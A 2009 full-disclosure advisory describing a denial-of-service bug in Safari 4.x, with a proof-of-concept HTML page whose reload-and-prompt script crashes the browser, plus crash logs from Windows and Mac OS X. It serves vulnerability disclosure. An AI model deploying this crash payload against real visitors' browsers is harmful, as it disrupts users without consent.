___________________________________________________________________________________
Apple Safari 4.x JavaScript Reload Denial of Service ___________________________________________________________________________________
Author : Marcell 'SkyOut' Dietl, Achim Hoffmann Email : mail [at] marcell-dietl [dot] de Vendor : http://www.apple.com/ Product : http://www.apple.com/safari/ Found : 12.06.2009 Released : 01.07.2009
Tested on: - Safari 4.0 at Windows XP SP3 - Safari 4.0.1 at Mac OS X 10.5.7 ___________________________________________________________________________________ STEPS TO REPRODUCE
1) Create a HTML file with the following content:
+---------- | <html> | <body> | <script src="empty.js"></script> | <script> | try { crashSafari(); } catch(e) { | setTimeout("location.reload();",42); | prompt('apple culpa? comment:'); } | </script> | </body> | </html> +----------
2) Create an empty file called "empty.js" in the same directory.
3) Put both files into the WWW directory of your server.
4) Access the HTML file with your browser. - A popup will appear: Close it. - A popup will appear: Close it. - Crash.
5) On Windows:
+---------- | AppName: safari.exe AppVer: 4.530.17.0 ModName: webkit.dll | ModVer: 4.530.17.0 Offset: 00305f55 +----------
5) On Mac OS X:
+---------- | Process: Safari [298] | Path: /Applications/Safari.app/Contents/MacOS/Safari | Identifier: com.apple.Safari | Version: 4.0.1 (5530.18) | Build Info: WebBrowser-55301800~1 | Code Type: X86 (Native) | Parent Process: launchd [163] | | Date/Time: 2009-07-01 00:58:48.144 +0200 | OS Version: Mac OS X 10.5.7 (9J61) | Report Version: 6 | | Exception Type: EXC_BAD_ACCESS (SIGBUS) | Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000002 | | Thread 0 crashed with X86 Thread State (32-bit): | eax: 0x00000002 ebx: 0x900bac11 ecx: 0x00625eec edx: 0x00000000 | edi: 0x00625ec8 esi: 0x00000002 ebp: 0xbfffe778 esp: 0xbfffe5e0 | ss: 0x0000001f efl: 0x00010217 eip: 0x900bac74 cs: 0x00000017 | ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037 | cr2: 0x00000002 +---------- ___________________________________________________________________________________ Advisory : http://marcell-dietl.de/index/adv_safari_4_x_js_reload_dos.php
Live Demo : http://marcell-dietl.de/index/demo_safari_4_x_js_reload_dos.html
Apple has been informed about the bug, but did not show any interest. ___________________________________________________________________________________ HAVING FUN WITH FULL DISCLOSURE SINCE 2006
|